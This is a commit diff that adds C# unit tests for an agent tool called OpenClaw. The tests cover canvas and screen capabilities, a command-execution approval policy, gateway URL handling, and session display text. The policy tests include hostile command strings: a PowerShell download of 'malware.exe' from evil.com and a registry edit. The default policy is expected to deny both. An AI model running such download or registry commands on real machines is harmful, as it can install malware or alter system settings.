Merge pull request #25 from shanselman/copilot/analyze-test-coverage
Some checks failed
Build and Test / test (push) Has been cancelled
Build and Test / build (win-arm64) (push) Has been cancelled
Build and Test / build (win-x64) (push) Has been cancelled
Build and Test / build-msix (ARM64, win-arm64) (push) Has been cancelled
Build and Test / build-msix (x64, win-x64) (push) Has been cancelled
Build and Test / build-extension (arm64) (push) Has been cancelled
Build and Test / build-extension (x64) (push) Has been cancelled
Build and Test / release (push) Has been cancelled

Add comprehensive OpenClaw.Shared unit tests and retain PR23 credential-hardening expectations.

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
This commit is contained in:
Scott Hanselman 2026-02-23 22:45:04 -08:00
commit 43c7d9e17e
4 changed files with 668 additions and 1 deletions

View File

@ -1,3 +1,4 @@
using System.IO;
using System.Text.Json;
using Xunit;
using OpenClaw.Shared;
@ -517,6 +518,121 @@ public class CanvasCapabilityTests
Assert.True(res.Ok);
Assert.True(resetRaised);
}
[Fact]
public async Task Navigate_RaisesEvent_WhenUrlPresent()
{
var cap = new CanvasCapability(NullLogger.Instance);
string? navigatedUrl = null;
cap.NavigateRequested += (s, url) => navigatedUrl = url;
var req = new NodeInvokeRequest
{
Id = "c12",
Command = "canvas.navigate",
Args = Parse("""{"url":"https://example.com/page"}""")
};
var res = await cap.ExecuteAsync(req);
Assert.True(res.Ok);
Assert.Equal("https://example.com/page", navigatedUrl);
}
[Fact]
public async Task Eval_ReturnsError_WhenHandlerThrows()
{
var cap = new CanvasCapability(NullLogger.Instance);
cap.EvalRequested += (script) => throw new InvalidOperationException("WebView2 not ready");
var req = new NodeInvokeRequest
{
Id = "c13",
Command = "canvas.eval",
Args = Parse("""{"script":"document.title"}""")
};
var res = await cap.ExecuteAsync(req);
Assert.False(res.Ok);
Assert.Contains("WebView2 not ready", res.Error);
}
[Fact]
public async Task Snapshot_CallsHandler_WithArgs()
{
var cap = new CanvasCapability(NullLogger.Instance);
CanvasSnapshotArgs? receivedArgs = null;
cap.SnapshotRequested += (args) =>
{
receivedArgs = args;
return Task.FromResult("base64data");
};
var req = new NodeInvokeRequest
{
Id = "c14",
Command = "canvas.snapshot",
Args = Parse("""{"format":"jpeg","maxWidth":800,"quality":70}""")
};
var res = await cap.ExecuteAsync(req);
Assert.True(res.Ok);
Assert.NotNull(receivedArgs);
Assert.Equal("jpeg", receivedArgs!.Format);
Assert.Equal(800, receivedArgs.MaxWidth);
Assert.Equal(70, receivedArgs.Quality);
}
[Fact]
public async Task Snapshot_ReturnsError_WhenHandlerThrows()
{
var cap = new CanvasCapability(NullLogger.Instance);
cap.SnapshotRequested += (args) => throw new InvalidOperationException("Canvas not visible");
var req = new NodeInvokeRequest { Id = "c15", Command = "canvas.snapshot", Args = Parse("""{}""") };
var res = await cap.ExecuteAsync(req);
Assert.False(res.Ok);
Assert.Contains("Canvas not visible", res.Error);
}
[Fact]
public async Task A2UIPush_WithJsonlPath_ReadsFile()
{
var cap = new CanvasCapability(NullLogger.Instance);
CanvasA2UIArgs? received = null;
cap.A2UIPushRequested += (s, a) => received = a;
var tmpFile = Path.GetTempFileName();
try
{
File.WriteAllText(tmpFile, """{"type":"text","value":"hello"}""");
var req = new NodeInvokeRequest
{
Id = "c16",
Command = "canvas.a2ui.push",
Args = Parse($$$"""{"jsonlPath":"{{{tmpFile.Replace("\\", "\\\\")}}}"}""")
};
var res = await cap.ExecuteAsync(req);
Assert.True(res.Ok);
Assert.NotNull(received);
Assert.Contains("hello", received!.Jsonl);
}
finally
{
File.Delete(tmpFile);
}
}
[Fact]
public async Task A2UIPush_WithMissingJsonlPath_ReturnsError()
{
var cap = new CanvasCapability(NullLogger.Instance);
var req = new NodeInvokeRequest
{
Id = "c17",
Command = "canvas.a2ui.push",
Args = Parse("""{"jsonlPath":"/nonexistent/path/file.jsonl"}""")
};
var res = await cap.ExecuteAsync(req);
Assert.False(res.Ok);
Assert.Contains("Failed to read jsonlPath", res.Error);
}
}
public class ScreenCapabilityTests
@ -597,6 +713,78 @@ public class ScreenCapabilityTests
Assert.True(res.Ok);
Assert.NotNull(res.Payload);
}
[Fact]
public async Task Capture_ReturnsError_WhenHandlerThrows()
{
var cap = new ScreenCapability(NullLogger.Instance);
cap.CaptureRequested += (args) => throw new InvalidOperationException("Display access denied");
var req = new NodeInvokeRequest { Id = "s5", Command = "screen.capture", Args = Parse("""{}""") };
var res = await cap.ExecuteAsync(req);
Assert.False(res.Ok);
Assert.Contains("Display access denied", res.Error);
}
[Fact]
public async Task List_ReturnsError_WhenHandlerThrows()
{
var cap = new ScreenCapability(NullLogger.Instance);
cap.ListRequested += () => throw new InvalidOperationException("Screen enumeration failed");
var req = new NodeInvokeRequest { Id = "s6", Command = "screen.list", Args = Parse("""{}""") };
var res = await cap.ExecuteAsync(req);
Assert.False(res.Ok);
Assert.Contains("Screen enumeration failed", res.Error);
}
[Fact]
public async Task Capture_ResponseIncludesDataUri()
{
var cap = new ScreenCapability(NullLogger.Instance);
cap.CaptureRequested += (args) => Task.FromResult(new ScreenCaptureResult
{
Format = "png",
Width = 1920,
Height = 1080,
Base64 = "abc123"
});
var req = new NodeInvokeRequest { Id = "s7", Command = "screen.capture", Args = Parse("""{}""") };
var res = await cap.ExecuteAsync(req);
Assert.True(res.Ok);
var json = JsonSerializer.Serialize(res.Payload);
using var doc = JsonDocument.Parse(json);
var root = doc.RootElement;
Assert.True(root.TryGetProperty("image", out var imageEl));
Assert.StartsWith("data:image/png;base64,", imageEl.GetString());
Assert.Contains("abc123", imageEl.GetString());
}
[Fact]
public async Task Capture_UsesMonitorAlias_ForScreenIndex()
{
var cap = new ScreenCapability(NullLogger.Instance);
ScreenCaptureArgs? receivedArgs = null;
cap.CaptureRequested += (args) =>
{
receivedArgs = args;
return Task.FromResult(new ScreenCaptureResult { Format = "png", Width = 1920, Height = 1080, Base64 = "" });
};
// "monitor" is an alias for "screenIndex"
var req = new NodeInvokeRequest
{
Id = "s8",
Command = "screen.capture",
Args = Parse("""{"monitor":2}""")
};
var res = await cap.ExecuteAsync(req);
Assert.True(res.Ok);
Assert.NotNull(receivedArgs);
Assert.Equal(2, receivedArgs!.MonitorIndex);
}
}
public class CameraCapabilityTests

View File

@ -280,6 +280,117 @@ public class ExecApprovalPolicyTests : IDisposable
var result = policy.Evaluate("echo hello");
Assert.True(result.Allowed);
}
[Fact]
public void InsertRule_ClampsToZero_ForNegativeIndex()
{
var policy = CreatePolicy();
policy.SetRules(new[]
{
new ExecApprovalRule { Pattern = "first" },
new ExecApprovalRule { Pattern = "second" }
});
policy.InsertRule(-5, new ExecApprovalRule { Pattern = "inserted" });
Assert.Equal(3, policy.Rules.Count);
Assert.Equal("inserted", policy.Rules[0].Pattern); // Inserted at index 0
}
[Fact]
public void InsertRule_ClampsToEnd_ForIndexBeyondCount()
{
var policy = CreatePolicy();
policy.SetRules(new[]
{
new ExecApprovalRule { Pattern = "first" }
});
policy.InsertRule(100, new ExecApprovalRule { Pattern = "last" });
Assert.Equal(2, policy.Rules.Count);
Assert.Equal("last", policy.Rules[^1].Pattern); // Inserted at end
}
[Fact]
public void RemoveRule_ReturnsFalse_ForNegativeIndex()
{
var policy = CreatePolicy();
policy.SetRules(new[]
{
new ExecApprovalRule { Pattern = "rule1" }
});
var removed = policy.RemoveRule(-1);
Assert.False(removed);
Assert.Single(policy.Rules);
}
[Fact]
public void RemoveRule_ReturnsFalse_ForIndexAtCount()
{
var policy = CreatePolicy();
policy.SetRules(new[]
{
new ExecApprovalRule { Pattern = "rule1" }
});
var removed = policy.RemoveRule(1); // index == count, out of range
Assert.False(removed);
Assert.Single(policy.Rules);
}
[Fact]
public void DefaultPolicy_CreatesFile_OnFirstLoad()
{
var policyFile = Path.Combine(_tempDir, "exec-policy.json");
Assert.False(File.Exists(policyFile)); // Does not exist yet
var policy = CreatePolicy(); // Load() auto-creates defaults
Assert.True(File.Exists(policyFile)); // Should now exist
Assert.True(policy.Rules.Count > 0);
}
[Fact]
public void WhitespaceOnlyCommand_IsDenied()
{
var policy = CreatePolicy();
var result = policy.Evaluate(" ");
Assert.False(result.Allowed);
Assert.Equal("Empty command", result.Reason);
}
[Fact]
public void DefaultPolicy_DeniesWebDownloads()
{
var policy = CreatePolicy();
var result = policy.Evaluate("Invoke-WebRequest https://evil.com/malware.exe");
Assert.False(result.Allowed);
}
[Fact]
public void DefaultPolicy_DeniesRegistryEdits()
{
var policy = CreatePolicy();
var result = policy.Evaluate("reg add HKLM\\Software\\Evil");
Assert.False(result.Allowed);
}
[Fact]
public void ShellFilter_DefaultsToLowercase_WhenShellNotProvided()
{
var policy = CreatePolicy();
policy.SetRules(new[]
{
// Rule only applies to "cmd"
new ExecApprovalRule { Pattern = "dir *", Action = ExecApprovalAction.Allow, Shells = new[] { "cmd" } }
});
// When no shell is provided, defaults to "powershell" internally, so cmd-only rule doesn't match
var result = policy.Evaluate("dir C:\\", null); // null shell -> defaults to "powershell"
Assert.False(result.Allowed); // cmd rule didn't match, default deny applies
}
}
public class SystemCapabilityExecApprovalsTests

View File

@ -36,6 +36,26 @@ public class GatewayUrlHelperTests
Assert.Equal(string.Empty, normalized);
}
[Fact]
public void TryNormalizeWebSocketUrl_RejectsNullInput()
{
var result = GatewayUrlHelper.TryNormalizeWebSocketUrl(null, out var normalized);
Assert.False(result);
Assert.Equal(string.Empty, normalized);
}
[Theory]
[InlineData(" ws://localhost:18789 ", "ws://localhost:18789")]
[InlineData(" http://localhost:18789 ", "ws://localhost:18789")]
public void TryNormalizeWebSocketUrl_TrimsWhitespace(string inputUrl, string expected)
{
var result = GatewayUrlHelper.TryNormalizeWebSocketUrl(inputUrl, out var normalized);
Assert.True(result);
Assert.Equal(expected, normalized);
}
[Theory]
[InlineData("wss://user:pass@example.com", "user:pass")]
[InlineData("wss://mytoken:secretkey@gateway.example.org", "mytoken:secretkey")]
@ -116,4 +136,59 @@ public class GatewayUrlHelperTests
var sanitized = GatewayUrlHelper.SanitizeForDisplay(inputUrl);
Assert.Equal(expectedUrl, sanitized);
}
}
[Theory]
[InlineData("ws://localhost:18789")]
[InlineData("wss://host.tailnet.ts.net")]
[InlineData("http://localhost:18789")]
[InlineData("https://host.tailnet.ts.net")]
public void IsValidGatewayUrl_ReturnsTrueForValidUrls(string url)
{
Assert.True(GatewayUrlHelper.IsValidGatewayUrl(url));
}
[Theory]
[InlineData(null)]
[InlineData("")]
[InlineData(" ")]
[InlineData("localhost:18789")]
[InlineData("ftp://example.com")]
public void IsValidGatewayUrl_ReturnsFalseForInvalidUrls(string? url)
{
Assert.False(GatewayUrlHelper.IsValidGatewayUrl(url));
}
[Theory]
[InlineData("http://localhost:18789", "ws://localhost:18789")]
[InlineData("https://host.tailnet.ts.net", "wss://host.tailnet.ts.net")]
[InlineData("ws://localhost:18789", "ws://localhost:18789")]
[InlineData("wss://host.tailnet.ts.net", "wss://host.tailnet.ts.net")]
[InlineData("wss://user:pass@host.example.com", "wss://host.example.com")]
[InlineData("https://user:pass@host.example.com", "wss://host.example.com")]
public void NormalizeForWebSocket_NormalizesHttpToWs(string inputUrl, string expected)
{
var result = GatewayUrlHelper.NormalizeForWebSocket(inputUrl);
Assert.Equal(expected, result);
}
[Fact]
public void NormalizeForWebSocket_ReturnsEmptyString_ForNull()
{
var result = GatewayUrlHelper.NormalizeForWebSocket(null);
Assert.Equal(string.Empty, result);
}
[Fact]
public void NormalizeForWebSocket_ReturnsTrimmedOriginal_ForInvalidUrl()
{
var result = GatewayUrlHelper.NormalizeForWebSocket(" not-a-url ");
Assert.Equal("not-a-url", result);
}
[Fact]
public void ValidationMessage_IsNotEmpty()
{
Assert.NotEmpty(GatewayUrlHelper.ValidationMessage);
Assert.Contains("ws://", GatewayUrlHelper.ValidationMessage);
}
}

View File

@ -466,3 +466,296 @@ public class GatewayUsageInfoTests
Assert.Contains("gpt-4", display);
}
}
public class GatewayNodeInfoTests
{
[Fact]
public void ShortId_ReturnsFullId_ForShortIds()
{
var node = new GatewayNodeInfo { NodeId = "node-1" };
Assert.Equal("node-1", node.ShortId);
}
[Fact]
public void ShortId_TruncatesWithEllipsis_ForLongIds()
{
var node = new GatewayNodeInfo { NodeId = "node-abcdef123456" };
Assert.Equal("node-abcdef1…", node.ShortId); // First 12 chars + ellipsis
}
[Fact]
public void ShortId_ExactlyTwelveChars_NotTruncated()
{
var node = new GatewayNodeInfo { NodeId = "123456789012" };
Assert.Equal("123456789012", node.ShortId);
}
[Fact]
public void DisplayText_UsesDisplayName_WhenPresent()
{
var node = new GatewayNodeInfo { NodeId = "long-id-here", DisplayName = "My Windows PC", IsOnline = true };
Assert.Contains("My Windows PC", node.DisplayText);
}
[Fact]
public void DisplayText_UsesShortId_WhenNoDisplayName()
{
var node = new GatewayNodeInfo { NodeId = "node-abcdef123456", DisplayName = "", IsOnline = true };
Assert.Contains("node-abcdef1…", node.DisplayText); // First 12 chars + ellipsis
}
[Fact]
public void DisplayText_ShowsOnline_WhenIsOnline()
{
var node = new GatewayNodeInfo { NodeId = "n1", DisplayName = "PC", IsOnline = true };
Assert.Contains("online", node.DisplayText);
}
[Fact]
public void DisplayText_ShowsOffline_WhenNotOnlineAndNoStatus()
{
var node = new GatewayNodeInfo { NodeId = "n1", DisplayName = "PC", IsOnline = false, Status = "" };
Assert.Contains("offline", node.DisplayText);
}
[Fact]
public void DisplayText_UsesStatus_WhenNotOnlineAndStatusSet()
{
var node = new GatewayNodeInfo { NodeId = "n1", DisplayName = "PC", IsOnline = false, Status = "disconnected" };
Assert.Contains("disconnected", node.DisplayText);
}
[Fact]
public void DetailText_ShowsNoDetails_WhenAllEmpty()
{
var node = new GatewayNodeInfo { NodeId = "n1" };
Assert.Equal("no details", node.DetailText);
}
[Fact]
public void DetailText_ShowsMode_WhenPresent()
{
var node = new GatewayNodeInfo { NodeId = "n1", Mode = "node" };
Assert.Contains("node", node.DetailText);
}
[Fact]
public void DetailText_ShowsPlatform_WhenPresent()
{
var node = new GatewayNodeInfo { NodeId = "n1", Platform = "windows" };
Assert.Contains("windows", node.DetailText);
}
[Fact]
public void DetailText_ShowsCommandAndCapabilityCounts()
{
var node = new GatewayNodeInfo { NodeId = "n1", CommandCount = 5, CapabilityCount = 2 };
Assert.Contains("5 cmd", node.DetailText);
Assert.Contains("2 cap", node.DetailText);
}
[Fact]
public void DetailText_ShowsLastSeen_WhenPresent()
{
var node = new GatewayNodeInfo { NodeId = "n1", LastSeen = DateTime.UtcNow.AddSeconds(-5) };
Assert.Contains("just now", node.DetailText);
}
[Fact]
public void DetailText_ShowsMinutesAgo_WhenOld()
{
var node = new GatewayNodeInfo { NodeId = "n1", LastSeen = DateTime.UtcNow.AddMinutes(-10) };
Assert.Contains("10m ago", node.DetailText);
}
[Fact]
public void DetailText_ShowsHoursAgo_ForRecentHours()
{
var node = new GatewayNodeInfo { NodeId = "n1", LastSeen = DateTime.UtcNow.AddHours(-3) };
Assert.Contains("3h ago", node.DetailText);
}
[Fact]
public void DetailText_ShowsDaysAgo_ForOldTimestamps()
{
var node = new GatewayNodeInfo { NodeId = "n1", LastSeen = DateTime.UtcNow.AddDays(-5) };
Assert.Contains("5d ago", node.DetailText);
}
[Fact]
public void DetailText_JoinsAllParts()
{
var node = new GatewayNodeInfo
{
NodeId = "n1",
Mode = "node",
Platform = "windows",
CommandCount = 3,
CapabilityCount = 1,
LastSeen = DateTime.UtcNow.AddSeconds(-5)
};
var text = node.DetailText;
Assert.Contains("node", text);
Assert.Contains("windows", text);
Assert.Contains("3 cmd", text);
Assert.Contains("1 cap", text);
Assert.Contains("just now", text);
}
}
public class SessionInfoAgeTextTests
{
[Fact]
public void AgeText_JustNow_ForVeryRecentUpdate()
{
var session = new SessionInfo { UpdatedAt = DateTime.UtcNow.AddSeconds(-10) };
Assert.Equal("just now", session.AgeText);
}
[Fact]
public void AgeText_MinutesAgo_WhenOlderThanOneMinute()
{
var session = new SessionInfo { UpdatedAt = DateTime.UtcNow.AddMinutes(-5) };
Assert.Equal("5m ago", session.AgeText);
}
[Fact]
public void AgeText_HoursAgo_WhenOlderThanOneHour()
{
var session = new SessionInfo { UpdatedAt = DateTime.UtcNow.AddHours(-2) };
Assert.Equal("2h ago", session.AgeText);
}
[Fact]
public void AgeText_DaysAgo_WhenOlderThan48Hours()
{
var session = new SessionInfo { UpdatedAt = DateTime.UtcNow.AddDays(-3) };
Assert.Equal("3d ago", session.AgeText);
}
[Fact]
public void AgeText_UsesLastSeen_WhenUpdatedAtIsNull()
{
var session = new SessionInfo
{
UpdatedAt = null,
LastSeen = DateTime.UtcNow.AddSeconds(-5)
};
Assert.Equal("just now", session.AgeText);
}
[Fact]
public void AgeText_PrefersUpdatedAt_OverLastSeen()
{
var session = new SessionInfo
{
UpdatedAt = DateTime.UtcNow.AddMinutes(-10),
LastSeen = DateTime.UtcNow.AddSeconds(-5)
};
Assert.Equal("10m ago", session.AgeText);
}
}
public class SessionInfoRichDisplayTextTests
{
[Fact]
public void RichDisplayText_UsesMainSession_Label_WhenNoDisplayName_AndIsMain()
{
var session = new SessionInfo { IsMain = true };
Assert.Equal("Main session", session.RichDisplayText);
}
[Fact]
public void RichDisplayText_UsesSession_Label_WhenNoDisplayName_AndIsSub()
{
var session = new SessionInfo { IsMain = false };
Assert.Equal("Session", session.RichDisplayText);
}
[Fact]
public void RichDisplayText_UsesDisplayName_WhenSet()
{
var session = new SessionInfo { DisplayName = "my-agent", IsMain = true };
Assert.StartsWith("my-agent", session.RichDisplayText);
}
[Fact]
public void RichDisplayText_IncludesVerboseLevel()
{
var session = new SessionInfo { DisplayName = "agent", VerboseLevel = "high" };
Assert.Contains("verbose high", session.RichDisplayText);
}
[Fact]
public void RichDisplayText_IncludesSystemSentFlag()
{
var session = new SessionInfo { DisplayName = "agent", SystemSent = true };
Assert.Contains("system", session.RichDisplayText);
}
[Fact]
public void RichDisplayText_IncludesAbortedFlag()
{
var session = new SessionInfo { DisplayName = "agent", AbortedLastRun = true };
Assert.Contains("aborted", session.RichDisplayText);
}
[Fact]
public void RichDisplayText_IncludesCurrentActivity_WhenPresent()
{
var session = new SessionInfo { DisplayName = "agent", CurrentActivity = "running" };
Assert.Contains("running", session.RichDisplayText);
}
[Fact]
public void RichDisplayText_IncludesStatus_WhenNotUnknownOrActive()
{
var session = new SessionInfo { DisplayName = "agent", Status = "waiting" };
Assert.Contains("waiting", session.RichDisplayText);
}
[Fact]
public void RichDisplayText_DoesNotIncludeStatus_WhenUnknown()
{
var session = new SessionInfo { DisplayName = "agent", Status = "unknown" };
Assert.DoesNotContain("unknown", session.RichDisplayText);
}
[Fact]
public void RichDisplayText_DoesNotIncludeStatus_WhenActive()
{
var session = new SessionInfo { DisplayName = "agent", Status = "active" };
Assert.DoesNotContain("active", session.RichDisplayText);
}
}
public class SessionInfoContextSummaryTests
{
[Fact]
public void ContextSummaryShort_FormatsMillions()
{
var session = new SessionInfo { TotalTokens = 2_500_000, ContextTokens = 200_000 };
Assert.Contains("2.5M", session.ContextSummaryShort);
}
[Fact]
public void ContextSummaryShort_Empty_WhenTotalIsZero()
{
var session = new SessionInfo { TotalTokens = 0, ContextTokens = 200_000 };
Assert.Equal("", session.ContextSummaryShort);
}
[Fact]
public void ContextSummaryShort_Empty_WhenContextIsZero()
{
var session = new SessionInfo { TotalTokens = 10_000, ContextTokens = 0 };
Assert.Equal("", session.ContextSummaryShort);
}
[Fact]
public void ContextSummaryShort_FormatsSmallNumbers()
{
var session = new SessionInfo { TotalTokens = 500, ContextTokens = 1000 };
Assert.Contains("500/1.0K", session.ContextSummaryShort);
}
}